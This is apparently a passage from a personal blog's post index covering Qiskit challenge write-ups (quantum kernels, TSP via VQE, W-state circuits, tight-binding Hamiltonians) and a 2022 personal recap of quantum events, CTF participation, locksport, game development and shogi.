[\\left \\langle \\psi \\mid \\varphi \\rangle\\right ^2 = \\left \\langle 0 \\mid U^{\\dagger} V \\mid 0\\rangle \\right ^2] And this can be implemented in code by the following circuit: # parametrized circuit defining U first state circuit_1 = RealAmplitudes(4, reps=1, entanglement='pairwise', insert_barriers=True, parameter_prefix='x') # parametrized circuit V defining second state circuit_2 = RealAmplitudes(4, reps=1, entanglement='pairwise', insert_barriers=True, parameter_prefix='y') # combining circuits to evaluate U^dagger V fidelity_circuit = circuit_1.copy() fidelity_circuit.append(circuit_2.inverse().decompose(), range(fidelity_circuit.num_qubits)) fidelity_circuit.measure_all() # drawing resulting circuit to estimate fidelity fidelity_circuit.decompose().draw('mpl') Quantum Kernels &amp; QSVMs Now that we have a way to implement error correction, and a way to calculate the resulting fidelity, we can explore quantum kernels. Machine learning algorithms can map the input dataset to higher dimensional feature map using kernel function, $k(\\vec{x}_i, \\vec{x}_j) = \\langle f(\\vec{x}_i), f(\\vec{x}_j) \\rangle $ where $k$ is kernel function, $\\vec{x}_i, \\vec{x}_j$ are $n$ dimensional inputs, $f$ is map from $n$-dimension to $m$-dimension space. When we consider that data is finite, the quantum kernel can be expressed as matrix [K_{ij}= \\langle\\phi^{\\dagger}(\\vec{x}_j) \\phi(\\vec{x}_i)\\rangle ^2] and since we can express the quantum kernel as a parameterized circuit with \\(n\\) qubits that becomes: [ \\langle\\phi^{\\dagger}(\\vec{x}_j) \\phi(\\vec{x}_i)\\rangle ^2 = \\langle 0^{\\otimes n} U^{\\dagger}{\\phi(\\vec{x}_j)} U{\\phi(\\vec{x}_i)} 0^{\\otimes n} \\rangle ^2] The code to implement this is simplistic with leveraging Sampler similarly to how we have done up to now. with Session(service=service, backend=backend): sampler = Sampler(options=options_with_em)# build your code here job = sampler.run(circuits=[fidelity_circuit]*300, parameter_values=data_append(n,sample_train,sample_train), shots=10000) # build your code here quantum_kernel_em = job.result() kernel_em = [] for i in range(circuit_num): kernel_em += [quantum_kernel_em.quasi_dists[i][0]] K = np.zeros((n, n)) count = 0 for i in range(n): for j in range(n): if j&lt;i: K[i,j] = K[j,i] else: if j==i: K[i,j] = 1 else: K[i,j] = kernel_em[count] count+=1 plot_matrix(K, 'kernel matrix (em)') And lastly we can check the accuracy of our training: Lab3 - Quantum Optimization The third notebook will be building on the first two and explore optimization in the case of a Traveling Salesman Problem. After being given a quick explanation of what a TSP problem is, the first part of our challenge is to model the situation into a graph format. n = 4 num_qubits = n**2 #### enter your code above #### tsp = Tsp.create_random_instance(n, seed=123) adj_matrix = nx.to_numpy_matrix(tsp.graph) print(\"distance\\n\", adj_matrix) colors = [\"r\" for node in tsp.graph.nodes] pos = [tsp.graph.nodes[node][\"pos\"] for node in tsp.graph.nodes] draw_graph(tsp.graph, colors, pos) distance [[ 0. 48. 91. 33.] [48. 0. 63. 71.] [91. 63. 0. 92.] [33. 71. 92. 0.]] Skipping the code as we are more interested in the quantum approach, however we go through this example classically to have a working shortest path to compare in our quantum application. Quadratic Representation To approach solving this problem quantumly, we first start with modeling our graph as a quadratic. qp = tsp.to_quadratic_program() print(qp.prettyprint()) Problem name: TSP Minimize 48*x_0_0*x_1_1 + 48*x_0_0*x_1_3 + 91*x_0_0*x_2_1 + 91*x_0_0*x_2_3 + 33*x_0_0*x_3_1 + 33*x_0_0*x_3_3 + 48*x_0_1*x_1_0 + 48*x_0_1*x_1_2 + 91*x_0_1*x_2_0 + 91*x_0_1*x_2_2 + 33*x_0_1*x_3_0 + 33*x_0_1*x_3_2 + 48*x_0_2*x_1_1 + 48*x_0_2*x_1_3 + 91*x_0_2*x_2_1 + 91*x_0_2*x_2_3 + 33*x_0_2*x_3_1 + 33*x_0_2*x_3_3 + 48*x_0_3*x_1_0 + 48*x_0_3*x_1_2 + 91*x_0_3*x_2_0 + 91*x_0_3*x_2_2 + 33*x_0_3*x_3_0 + 33*x_0_3*x_3_2 + 63*x_1_0*x_2_1 + 63*x_1_0*x_2_3 + 71*x_1_0*x_3_1 + 71*x_1_0*x_3_3 + 63*x_1_1*x_2_0 + 63*x_1_1*x_2_2 + 71*x_1_1*x_3_0 + 71*x_1_1*x_3_2 + 63*x_1_2*x_2_1 + 63*x_1_2*x_2_3 + 71*x_1_2*x_3_1 + 71*x_1_2*x_3_3 + 63*x_1_3*x_2_0 + 63*x_1_3*x_2_2 + 71*x_1_3*x_3_0 + 71*x_1_3*x_3_2 + 92*x_2_0*x_3_1 + 92*x_2_0*x_3_3 + 92*x_2_1*x_3_0 + 92*x_2_1*x_3_2 + 92*x_2_2*x_3_1 + 92*x_2_2*x_3_3 + 92*x_2_3*x_3_0 + 92*x_2_3*x_3_2 Subject to Linear constraints (8) x_0_0 + x_0_1 + x_0_2 + x_0_3 == 1 'c0' x_1_0 + x_1_1 + x_1_2 + x_1_3 == 1 'c1' x_2_0 + x_2_1 + x_2_2 + x_2_3 == 1 'c2' x_3_0 + x_3_1 + x_3_2 + x_3_3 == 1 'c3' x_0_0 + x_1_0 + x_2_0 + x_3_0 == 1 'c4' x_0_1 + x_1_1 + x_2_1 + x_3_1 == 1 'c5' x_0_2 + x_1_2 + x_2_2 + x_3_2 == 1 'c6' x_0_3 + x_1_3 + x_2_3 + x_3_3 == 1 'c7' Binary variables (16) x_0_0 x_0_1 x_0_2 x_0_3 x_1_0 x_1_1 x_1_2 x_1_3 x_2_0 x_2_1 x_2_2 x_2_3 x_3_0 x_3_1 x_3_2 x_3_3 This is not all that is required however. We also need to convert this quadratic into a form that can be used in a quantum circuit. Enter the Ising Hamiltonian. An Ising Hamiltonian is a representation of the energy in a particular system. This allows us to use eigensolvers to find the minimum energy, which represents the shortest path solution of our original graph problem. We can get the Ising representation of our quadratic using built in functions of Qiskit. from qiskit_optimization.converters import QuadraticProgramToQubo #### enter your code below #### qp2qubo = QuadraticProgramToQubo() #instatiate qp to qubo class qubo = qp2qubo.convert(qp) # convert quadratic program to qubo qubitOp, offset = qubo.to_ising() #convert qubo to ising #### enter your code above #### print(\"Offset:\", offset) print(\"Ising Hamiltonian:\", str(qubitOp)) Offset: 51756.0 Ising Hamiltonian: -6456.0 * IIIIIIIIIIIIIIIZ - 6456.0 * IIIIIIIIIIIIIIZI - 6456.0 * IIIIIIIIIIIIIZII - 6456.0 * IIIIIIIIIIIIZIII - 6461.0 * IIIIIIIIIIIZIIII - 6461.0 * IIIIIIIIIIZIIIII - 6461.0 * IIIIIIIIIZIIIIII - 6461.0 * IIIIIIIIZIIIIIII - 6493.0 * IIIIIIIZIIIIIIII - 6493.0 * IIIIIIZIIIIIIIII - 6493.0 * IIIIIZIIIIIIIIII - 6493.0 * IIIIZIIIIIIIIIII - 6468.0 * IIIZIIIIIIIIIIII - 6468.0 * IIZIIIIIIIIIIIII - 6468.0 * IZIIIIIIIIIIIIII - 6468.0 * ZIIIIIIIIIIIIIII + 1592.5 * IIIIIIIIIIIIIIZZ + 1592.5 * IIIIIIIIIIIIIZIZ + 1592.5 * IIIIIIIIIIIIIZZI + 1592.5 * IIIIIIIIIIIIZIIZ + 1592.5 * IIIIIIIIIIIIZIZI + 1592.5 * IIIIIIIIIIIIZZII + 1592.5 * IIIIIIIIIIIZIIIZ + 12.0 * IIIIIIIIIIIZIIZI + 12.0 * IIIIIIIIIIIZZIII + 12.0 * IIIIIIIIIIZIIIIZ + 1592.5 * IIIIIIIIIIZIIIZI + 12.0 * IIIIIIIIIIZIIZII + 1592.5 * IIIIIIIIIIZZIIII + 12.0 * IIIIIIIIIZIIIIZI + 1592.5 * IIIIIIIIIZIIIZII + 12.0 * IIIIIIIIIZIIZIII + 1592.5 * IIIIIIIIIZIZIIII + 1592.5 * IIIIIIIIIZZIIIII + 12.0 * IIIIIIIIZIIIIIIZ + 12.0 * IIIIIIIIZIIIIZII + 1592.5 * IIIIIIIIZIIIZIII + 1592.5 * IIIIIIIIZIIZIIII + 1592.5 * IIIIIIIIZIZIIIII + 1592.5 * IIIIIIIIZZIIIIII + 1592.5 * IIIIIIIZIIIIIIIZ + 22.75 * IIIIIIIZIIIIIIZI + 22.75 * IIIIIIIZIIIIZIII + 1592.5 * IIIIIIIZIIIZIIII + 15.75 * IIIIIIIZIIZIIIII + 15.75 * IIIIIIIZZIIIIIII + 22.75 * IIIIIIZIIIIIIIIZ + 1592.5 * IIIIIIZIIIIIIIZI + 22.75 * IIIIIIZIIIIIIZII + 15.75 * IIIIIIZIIIIZIIII + 1592.5 * IIIIIIZIIIZIIIII + 15.75 * IIIIIIZIIZIIIIII + 1592.5 * IIIIIIZZIIIIIIII + 22.75 * IIIIIZIIIIIIIIZI + 1592.5 * IIIIIZIIIIIIIZII + 22.75 * IIIIIZIIIIIIZIII + 15.75 * IIIIIZIIIIZIIIII + 1592.5 * IIIIIZIIIZIIIIII + 15.75 * IIIIIZIIZIIIIIII + 1592.5 * IIIIIZIZIIIIIIII + 1592.5 * IIIIIZZIIIIIIIII + 22.75 * IIIIZIIIIIIIIIIZ + 22.75 * IIIIZIIIIIIIIZII + 1592.5 * IIIIZIIIIIIIZIII + 15.75 * IIIIZIIIIIIZIIII + 15.75 * IIIIZIIIIZIIIIII + 1592.5 * IIIIZIIIZIIIIIII + 1592.5 * IIIIZIIZIIIIIIII + 1592.5 * IIIIZIZIIIIIIIII + 1592.5 * IIIIZZIIIIIIIIII + 1592.5 * IIIZIIIIIIIIIIIZ + 8.25 * IIIZIIIIIIIIIIZI + 8.25 * IIIZIIIIIIIIZIII + 1592.5 * IIIZIIIIIIIZIIII + 17.75 * IIIZIIIIIIZIIIII + 17.75 * IIIZIIIIZIIIIIII + 1592.5 * IIIZIIIZIIIIIIII + 23.0 * IIIZIIZIIIIIIIII + 23.0 * IIIZZIIIIIIIIIII + 8.25 * IIZIIIIIIIIIIIIZ + 1592.5 * IIZIIIIIIIIIIIZI + 8.25 * IIZIIIIIIIIIIZII + 17.75 * IIZIIIIIIIIZIIII + 1592.5 * IIZIIIIIIIZIIIII + 17.75 * IIZIIIIIIZIIIIII + 23.0 * IIZIIIIZIIIIIIII + 1592.5 * IIZIIIZIIIIIIIII + 23.0 * IIZIIZIIIIIIIIII + 1592.5 * IIZZIIIIIIIIIIII + 8.25 * IZIIIIIIIIIIIIZI + 1592.5 * IZIIIIIIIIIIIZII + 8.25 * IZIIIIIIIIIIZIII + 17.75 * IZIIIIIIIIZIIIII + 1592.5 * IZIIIIIIIZIIIIII + 17.75 * IZIIIIIIZIIIIIII + 23.0 * IZIIIIZIIIIIIIII + 1592.5 * IZIIIZIIIIIIIIII + 23.0 * IZIIZIIIIIIIIIII + 1592.5 * IZIZIIIIIIIIIIII + 1592.5 * IZZIIIIIIIIIIIII + 8.25 * ZIIIIIIIIIIIIIIZ + 8.25 * ZIIIIIIIIIIIIZII + 1592.5 * ZIIIIIIIIIIIZIII + 17.75 * ZIIIIIIIIIIZIIII + 17.75 * ZIIIIIIIIZIIIIII + 1592.5 * ZIIIIIIIZIIIIIII + 23.0 * ZIIIIIIZIIIIIIII + 23.0 * ZIIIIZIIIIIIIIII + 1592.5 * ZIIIZIIIIIIIIIII + 1592.5 * ZIIZIIIIIIIIIIII + 1592.5 * ZIZIIIIIIIIIIIII + 1592.5 * ZZIIIIIIIIIIIIII Reference Classical Eigensolver Again, we will first try and solve this representation classically to compare to our original baseline. # Making the Hamiltonian in its full form and getting the lowest eigenvalue and eigenvector ee = NumPyMinimumEigensolver() result = ee.compute_minimum_eigenvalue(qubitOp) energy_numpy = result.eigenvalue.real # Call helper function to compute cost of the obtained result and display result TSPCost(energy = result.eigenvalue.real, result_bitstring = tsp.sample_most_likely(result.eigenstate), adj_matrix = adj_matrix) ------------------- Energy: -51520.0 Tsp objective: 236.0 Feasibility: True Solution Vector: [1, 2, 3, 0] Solution Objective: 236.0 ------------------- So far so good, we have the same shortest path solution. Now let’s run this on a quantum computer and see what we end up with. # ### Specifying the backend and creating quantum instance algorithm_globals.random_seed = 123 seed = 10598 backend = Aer.get_backend(\"qasm_simulator\") quantum_instance = QuantumInstance(backend, seed_simulator=seed, seed_transpiler=seed) # ### Building an ansatz with rotational Y gates # # We can use a traditional VQE with an ansatz, which is a trial function selected as an initial guess approximating the minimum eigenstate of a Hamiltonia, built with Y single-qubit rotations and entangler steps. # # Please note that this is heuristic ansatz, which means that it provides you with an educated guess to help solve a problem but does not guarantee to be the most optimal answer. spsa = SPSA(maxiter=300) ry = TwoLocal(qubitOp.num_qubits, \"ry\", \"cz\", reps=5, entanglement=\"linear\") vqe = VQE(ry, optimizer=spsa, quantum_instance=quantum_instance) result = vqe.compute_minimum_eigenvalue(qubitOp) # ### Print solution print(\"energy:\", result.eigenvalue.real) print(\"time:\", result.optimizer_time) x = tsp.sample_most_likely(result.eigenstate) print(\"feasible:\", qubo.is_feasible(x)) z = tsp.interpret(x) print(\"solution:\", z) print(\"solution objective:\", tsp.tsp_value(z, adj_matrix)) draw_tsp_solution(tsp.graph, z, colors, pos) z = tsp.interpret(x) print(\"solution:\", z) print(\"solution objective:\", tsp.tsp_value(z, adj_matrix)) draw_tsp_solution(tsp.graph, z, colors, pos) To add graph Parameterized Quantum Circuits Our QUBO example above is, by definition, unconstrained. The requirement is that the variables are binary, in the case of TSP either 1 or 0, visited or not. Most of the problems we are interested in solving will not be as simple and will include additional constraints. These constraints can be incorporated into our QUBO approach however by introducing penalties into the objective function. We will explore this by creating a problem specific parameterized quantum circuit for our TSP problem. The challenge explores a paper and the approach to optimizing a VQE run by focusing on breaking down the overall solution space into multiple single-solution problem spaces - corresponding to each constraint. In short, since our challenge example is a 3-node graph, we can look at the solution sub-spaces in three separate groupings. First case - W state To start, we need to come up with a quantum circuit that generates the three qubit W-state. from qiskit import QuantumRegister, ClassicalRegister from qiskit.circuit import ParameterVector, QuantumCircuit # Initialize circuit qr = QuantumRegister(3) cr = ClassicalRegister(3) circuit = QuantumCircuit(qr,cr) # Initialize Parameter with θ theta = ParameterVector('θ', 2) #### enter your code below #### # Apply gates to circuit circuit.x(0) circuit.ry(theta[0],1) circuit.cz(0,1) circuit.ry(-theta[0],1) circuit.ry(theta[1],2) circuit.cz(1,2) circuit.ry(-theta[1],2) circuit.cx(1,0) circuit.cx(2,1) #### enter your code above #### circuit.measure(qr,cr) circuit.draw(\"mpl\") Which when run on a quantum computer we would expect 1,2,4 to be equal, or close to equal distribution - representing 001,010,100 - or our required W state. We then continue to follow the paper’s routine and build out the TSP problem’s second constraint in circuit. Holistically, what we are trying to do is take each of the W states (total 3 states from above) and then build out each state’s solution space. In other words were are building out each hypothetical on if each W state was selected, and building it into a single quantum circuit. Working with the W state code above, we can continue: from qiskit import QuantumRegister, ClassicalRegister from qiskit.circuit import ParameterVector, QuantumCircuit def tsp_entangler(N): # Define QuantumCircuit and ParameterVector size circuit = QuantumCircuit(N**2) theta = ParameterVector('theta',length=(N-1)*N) ############# # Hint: One of the approaches that you can go for is having an outer `for` loop for each node and 2 inner loops for each block. / # Continue on by applying the same routine as we did above for each node with inner `for` loops for / # the ry-cz-ry routine and cx gates. Selecting which indices to apply for the routine will be the / # key thing to solve here. The indices will depend on which parameter index you are checking for and the current node! / # Reference solution has one outer loop for nodes and one inner loop each for rz-cz-ry and cx gates respectively. ############# #### enter your code above #### #print(f'N:{N}') for i in range(N): # X Gate # Parameter Gates # CX gates #print(f'i:{i}') circuit.x(i*N) for j in range(N-1): #print(f'j:{j}') #print(f'index:{(i*(N-1))+j}') circuit.ry(theta[(i*(N-1))+j],(i*N)+j+1) circuit.cz((i*N)+j,(i*N)+j+1) circuit.ry(-theta[(i*(N-1))+j],(i*N)+j+1) for k in range(N-1): circuit.cx((i*N)+1+k,(i*N)+k) #### enter your code above #### return circuit Which ends up looking like the following circuit for 3 constraints. Second case - second constraint Now that we have a good understanding of how to combine solution states on the first constraint, let’s move on to combining this with the second constraint solutions. Here, unlike the first PQC, we need to add more correlations among the qubits since we will be mapping more variables across the whole matrix representation. Since we have variables that appear both in the first and second line, we can no longer realize the constraints by just tensor products. We will entangle the parametrized W gates using CNOT gates to achieve the entanglement. Let’s start building the second PQC similarly to the first and start with defining our L-shaped constraint. from qiskit import QuantumRegister, ClassicalRegister from qiskit.circuit import ParameterVector, QuantumCircuit l_circuit = QuantumCircuit(n**2) theta = ParameterVector('theta',length=(n-1)*n-1) # L-Shaped Entangler l_circuit.ry(theta[0],0) l_circuit.cx(0,1) l_circuit.cx(0,3) l_circuit.barrier() #W_phi_p l_circuit.x(1) l_circuit.ry(theta[1],2) l_circuit.cz(1,2) l_circuit.ry(-theta[1],2) l_circuit.cx(2,1) l_circuit.barrier() #W_phi_v l_circuit.x(3) l_circuit.ry(theta[2],6) l_circuit.cz(3,6) l_circuit.ry(-theta[2],6) l_circuit.cx(6,3) l_circuit.draw(\"mpl\") Next, we need to encode the remaining constraints excluding the ones we applied. Since the constraints for the remaining part are already determined, they can be read in a similar way as the previous problem by applying the corresponding CNOT gates followed by the parametrized W state gates on the qubits mapped variables. from qiskit import QuantumRegister, ClassicalRegister from qiskit.circuit import ParameterVector, QuantumCircuit r_circuit = QuantumCircuit(n**2) theta = ParameterVector('theta',length=(n-1)*n-1) # Two blocks remaining for N = 3 # Block 1 --------- r_circuit.x(4) r_circuit.ry(theta[3],5) r_circuit.cz(4,5) r_circuit.ry(-theta[3],5) r_circuit.cx(5,4) # Block 2 --------- r_circuit.x(7) r_circuit.ry(theta[4],8) r_circuit.cz(7,8) r_circuit.ry(-theta[4],8) r_circuit.cx(8,7) r_circuit.draw(\"mpl\") Then bridging the two sections together we get our full second constraint circuit. Finally, we can solve our second-constraint circuit and list out the optimized parameters. Where this gets tied all together is where we compare it to the first model in terms of convergence. We can see that the more optimized solution set converges quicker. Third case - all constraints Now we can continue and expand to all constraints. We consider all constraints to completely exclude the infeasible answers in the above image. The set of the bases of our new quantum state then includes only feasible answers. Unlike the previous two states where we saw convergence to the optimal solution, we should see here an immediate, optimal result. We will approach this by treating the quantum circuit as a permutation matrix and recursively build on blocks we’ve already established. We are pointed again to the referenced paper on how to approach the solution. Using our existing blocks and the referenced approach we can put it to code. n = 3 model_3 = QuantumCircuit(n**2) theta = ParameterVector('theta',length=(n-1)*n//2) # Build a circuit when n is 2 # 2x2 in overall 3x3 structure ## (1,1 - q0) ## (1,2 - q3) ## (2,1 - q1) ## (2,2 - q4) model_3.x(0) model_3.ry(theta[0],1) model_3.cz(0,1) model_3.ry(-theta[0],1) model_3.cx(1,0) model_3.cx(1,3) model_3.cx(0,4) # Apply a parameterized W state gate ## top 'row' being: ## (1,3 - q6) ## (2,3 - q7) ## (3,3 - q8) model_3.x(6) model_3.ry(theta[1],7) model_3.cz(6,7) model_3.ry(-theta[1],7) model_3.ry(theta[2],8) model_3.cz(7,8) model_3.ry(-theta[2],8) model_3.cx(7,6) model_3.cx(8,7) # Apply 4 CSWAP gates model_3.cswap(6, 2, 0) model_3.cswap(6, 5, 3) model_3.cswap(7, 2, 1) model_3.cswap(7, 5, 4) model_3.draw(\"mpl\") And the beauty of the circuit above is that it represents the superposition of the 6 feasible answers. Running our third model through a VQE runtime however, we can clearly see that while our first two models converged towards the right answer, the third model only represents feasible answers, so immediately starts at the minimal solution space. Summary In all this was a great event as usual. The cohesive narrative, and building on the exercises allowed us to experiment with the Qiskit runtime primitives in the context of a challenge many of us have seen before - namely optimization. I enjoyed the comparison of the first, second, and third model efficiencies in the optimization notebook as well, clearly illustrating the concepts of the reference paper and making it “make sense”. Thanks folks, until next time!" }, { "title": "A 2022 Personal Recap & Look Forward", "url": "/personal/2023/01/14/2022-recap-and-look-forward/", "categories": "personal", "tags": "personal, 2022 recap, quantum events, ctf events, shogi, locksport", "date": "2023-01-14 08:00:00 -0500", "content": "Introduction As the year 2023 progresses, I would like to take a moment to reflect on the past year and acknowledge the experiences that have shaped my professional and personal development. I was motivated by a respected colleague at Dotneteers.net to strive for greater consistency in my blogging, a goal that I have previously struggled to achieve. In light of this, I will be highlighting the notable events and activities that I have participated in throughout 2022, and subsequently, setting the foundation for a more consistent blogging schedule in the year to come. Quantum In my involvement within the quantum computing industry over the past several years, it has become apparent that the rate of progress and evolution within the field is both significant and rapidly accelerating. In 2022, I had the opportunity to stay current with the latest developments and test new releases across a variety of offerings, through participating in multiple events. Despite being only a few weeks 2023, my calendar is already filling up with upcoming hackathons and other quantum-related events, further emphasizing the dynamic nature of this industry. Quantum Events Looking at the events participated in 2022, all of which were multiple day to multiple week long, experiences: Quantum Days 2022 Xanadu QHack 2022 Qiskit Spring 2022 Qiskit Summer School 2022 - Simulation Xanadu Codecamp Qiskit Fall 2022 In addition there were over a dozen single-day events peppered throughout the year covering ranging topics such as post-quantum cryptography, quantum machine learning, and even how to contribute to the advancement of the quantum field as an individual. Looking forward, I’ve already got several events lined up. I fully expect this to continue throughout the year and see many more in the coming weeks and months. Quantum Days 2023 Xanadu QHack 2023 Quantum Contributions In addition to learning through consumption of material, 2022 was also the year I took the next step and started contributing back to the Quantum ecosystem. Taking my previous event involvements, quantum blog writeups, and following the Qiskit Advocate contribution guidelines for other contribution categories - I was humbled to be accepted into the Qiskit Advocate program. The Qiskit advocate program is a global program that provides support to the individuals who actively contribute to the Qiskit Community. Qiskit advocates are some of the finest minds in quantum computing, all over the world. If you are interested in getting involved with the quantum computing community, reach out to an advocate local to your area. With an interest in not only expanding my own quantum computing knowledge but also helping others start their own quantum journeys, the Qiskit Advocate program provides the resources and support to both. Currently as one of the nine advocates located in Canada please feel free to reach out for a discussion! Canada Quantum Strategy On January 13th, 2023 - the Government of Canada announced its long-awaited National Quantum Strategy. The Strategy lists Canada’s key Quantum missions and investment pillars to support said missions. The announcement was also live-streamed on the 13th. In light of recent developments in the quantum computing industry, this shows that Canada is actively investing in the advancement of quantum technology. This aligns with the Qiskit Advocate program and my personal objective of promoting quantum knowledge. As we move forward into 2023, I hope for a greater emphasis on open initiatives that will continue to push the boundaries of this rapidly evolving field. CyberSecurity In addition to Quantum events throughout the year, there were also a few cybersecurity related events and activities that I focused on in 2022. NorthSec CTF As with previous years, I attended NSEC’s 2022 Capture the Flag event. This was the first year that I attended in person with a team to compete, and I have to admit it lived up to all the hype. Three long days of grueling competition and the team was able to increase our final standing from previous years. As with previous remote years, I also wrote a few challenge debriefs which ended up being highlighted on the NSEC writeup page Safe Cracking N64 Rom Reverse Engineering NSEC 2023 CTF Looking at this year’s NSEC CTF offering I am already excited for the event. Transitioning back from a hybrid to in-person-first event and reintroducing the hardware badge challenge (which entertained me two years ago: Badglife Pt1, Badgelife Pt2) is lining up to being an outstanding experience. In 2022 I was impressed at how many talented people I was able to meet and compete with during the CTF. I’m looking forward to the 2023 edition and expanding on the previous experiences. Locksport In previous years I had started exploring locksport. The locksport community has gamified aspects of learning, categorizing various locks into “belt” levels and providing a loose progression path to learning how to break more complicated mechanisms. Understanding how a system works? Learning how to bypass those systems? Understanding how defensive mechanisms were introduced and ultimately their weaknesses and how they were broken? All within a gamified system that encourages continuous progress? If you know anything about me you know this is right up my alley. As of this moment - I’ve gotten to a Green belt rank, officially, and managed to break a Blue belt lock, albeit not officially captured for verification. The video below represents my successful Green belt submission (use the description timestamps to skip to important elements - picking, disassembly, reassembly). Illustrating the convergence of locksport and cybersecurity - NSEC 2022 had a Safe Cracking challenge. While this challenge was not a physical track, it did allow me to expand my knowledge and learn the theory behind how safes work, and ultimately what some of their weaknesses are. I followed up the NSEC event by acquiring my own Sparrow Challenge vault safe, and in 2023 I’m looking forward to expanding my theoretical knowledge to the practical and maybe even prepare for the NSEC physical track. Hobbies In addition the quantum computing and cybersecurity efforts I participate in, 2022 allowed me to expand and explore a few additional topics which have historically interested me. Game Development Whether it’s for learning through a gamified system, or for recreational gaming, games, especially video games, have been part of my life since my youth. I’ve owned and played every major console released in the last 25 years and I credit a lot of my critical analysis and problem solving capabilities to gaming. Back in 2012 I started dabbling with Unity game development. At the time, this was a passing interest. A full decade later, in 2022, I decided to make a more focused effort and started down Unity’s Learning Pathways. Throughout the year I was able to finish up two of the pathways - Essentials, and Junior Programmer. With the basics under wraps I was also happy to participate in my first GameJam leading to a small weekend effort with Floating Isles. Unity offers several other pathways that have also piqued my interest, particularly the VR development pathway and the upcoming AR-based development pathway set to be released in 2023. With the increasing prevalence of VR and AR technology, I intend to gain a fundamental understanding of these environments in the coming year. It remains to be seen if this interest will expand into something more substantial, but who knows… maybe you’ll see an AR/VR gamejam entry from me in the future. Shogi From Wikipedia: Shogi (将棋, shōgi, English: /ˈʃoʊɡi/, Japanese: [ɕoːɡi]), also known as Japanese chess, is a strategy board game for two players. It is one of the most popular board games in Japan and is in the same family of games as Western chess, chaturanga, Xiangqi, Indian chess, and janggi. Shōgi means general's (shō 将) board game (gi 棋). [...] Shogi was the earliest chess-related historical game to allow captured pieces to be returned to the board by the capturing player. This drop rule is speculated to have been invented in the 15th century and possibly connected to the practice of 15th century mercenaries switching loyalties when captured instead of being killed. I grew up with western chess, going as far as the provincial championship while I was in grade school. I ultimately fell out of playing chess, however with a background in understanding tactics and strategies I immediately saw the allure of Shogi when I was introduced. While there aren’t many English resources, I started with reading Better Moves for Better Shogi and learning some fundamentals. The book approaches Shogi fundamentals in a way that clicks with me - focusing on core concepts rather than specific lines/moves. Understanding that your silvers should be behind your pawns as a “good shape”, and conceptually understanding castling (2 golds/1 silver) while your rook, bishop, and other silver focus on the offense, has really helped mature the way I look at a Shogi board. I also enjoyed finding Lishogi, which has been developed as a clone of Lichess, as a main base for learning. In addition to offering an English platform to play, they offer tactical puzzles meant to broaden how you a player approaches various situations. As an additional outcome of diving into Shogi I also started learning about game engines. Using ShogiGUI as a base program, I was able to get a few engine libraries and install them to explore some of the basic Shogi lines, comparing certain moves and understanding why some approaches were better or worse than others. In what I am sure folks have realized by now, I enjoy a gamified system. Shogi approaches ranking system similar to many martial arts with the Kyu/Dan system. While I expect my Shogi journey to be a multi-year affair, I’ll be aiming to have at least a formal Kyu ranking by the end of 2023. Once a player reaches at least Kyu 5 on an official platform (While Lishogi isn’t officially recognized yet, ShogiWars is a popular, recognized alternative) they can even get official recognition from the Japanese Shogi Association. Summary The year 2022 was one that underlined personal and professional growth, with various learning opportunities and development. As 2023 unfolds, it seems it will be equally as eventful. I am confident that the opportunities presented will continue to foster growth in multiple areas and I couldn’t be happier going down the road of learning. Hopefully some of this has even inspired you to branch out and try something new in 2023. It is never too late to learn something new. Thanks folks, until next time!" }, { "title": "Qiskit Quantum Challenge - Spring 2022", "url": "/quantum-computing/2022/05/29/ibm-quantum-challenge-spring2022/", "categories": "quantum-computing", "tags": "qiskit, quantum-computing, quantum challenge", "date": "2022-05-29 08:01:00 -0400", "content": "Introduction Another year, another Qiskit event kick off! The first event for 2022, this particular event focused on two different areas - many-body systems, and fermionic Chemistry. Having no background in either I was excited to start diving into the challenges, hopefully learning not only about topics and how to implement them in Qiskit, but also potentially discovering new Qiskit functionality I was not previously aware of. The first three exercises focused on the many-body system concept, each challenge building on the previous notebook’s material. This article will focus on those three exercises, hopefully sharing my limited understanding, how I approached the solutions, and interesting Qiskit observations along the way. Tight-Binding Model The tight-binding model is a quantum mechanical picture used to describe the conductance of electrons in solid-state materials We kick off the event by being introduced to the main formula that will be referred to throughout the first three notebooks - our tight-binding Hamiltonian. $$H_{\\rm tb}/\\hbar = \\sum_i \\epsilon_i Z_i + J \\sum_{\\langle i,j \\rangle} (X_i X_j + Y_i Y_j)$$ This equation will be used to model electrons moving in a solid-state material. Basically this is the equation that defines the energy required for atoms to exist at a given site, and the energy required for it to move from one site to another. Throughout the exercises we will simplify this by taking the assumption of a uniform lattice - where all energies are equal (\\(\\epsilon_i = 0\\)). We will also simplify our example by assuming that the energy required to move from a site to its neighbors, \\(J\\) is 1. With those assumptions we will explore the time evolution of the Hamiltonian. We are given the Qiskit implementation of the Hamiltonian and graph out the time evolution of it: def H_tb(): # Interactions (I is the identity matrix; X and Y are Pauli matricies; ^ is a tensor product) XXs = (I^X^X) + (X^X^I) YYs = (I^Y^Y) + (Y^Y^I) # Sum interactions H = J*(XXs + YYs) # Return Hamiltonian return H However before we can execute the unitary time evolution on a quantum computing circuit, we need to decompose this into single and two-gates native to the quantum computer. We can accomplish this using Trotterization. The notebook steps us through the decomposition, to ultimately get the Trotterized version: $$ U_{\\text{tb}}(t) \\approx \\left[XX\\left(\\frac{2t}{n}\\right)^{(0,1)} YY\\left(\\frac{2t}{n}\\right)^{(0,1)} XX\\left(\\frac{2t}{n}\\right)^{(1,2)} YY\\left(\\frac{2t}{n}\\right)^{(1,2)}\\right]^{n} $$ Building Operators Our actual challenge is now to work with single and two-qubit gates natively and build the ZZ(t), XX(t), and YY(t) operations. We are given the ZZ(t) operator to act as the base of building the other two. ZZ_qc.cnot(0,1) ZZ_qc.rz(2 * t, 1) ZZ_qc.cnot(0,1) The notebook then reminds us how Clifford gates are used to map Pauli operators to others. This will end up being how we build the remaining operators. And sure enough, with this information we are then able to build out the XX(t) and YY(t) variants. ###EDIT CODE BELOW (add Clifford operator) XX_qc.h(0) XX_qc.h(1) ###DO NOT EDIT BELOW XX_qc.append(ZZ, [0,1]) ###EDIT CODE BELOW (add Clifford operator) XX_qc.h(0) XX_qc.h(1) ###DO NOT EDIT BELOW ###EDIT CODE BELOW (add Clifford operator) YY_qc.s(0) YY_qc.s(1) YY_qc.h(0) YY_qc.h(1) ###DO NOT EDIT BELOW YY_qc.append(ZZ, [0,1]) ###EDIT CODE BELOW (add Clifford operator) YY_qc.h(0) YY_qc.h(1) YY_qc.sdg(0) YY_qc.sdg(1) ###DO NOT EDIT BELOW Trotterized Circuit Great, with our operators built out, the final step in this first notebook is to build the Trotterized evolution circuit. We are given yet one more decomposition which is what we will end up modelling. $$U(\\Delta t) \\approx \\Big(\\prod_{i \\in 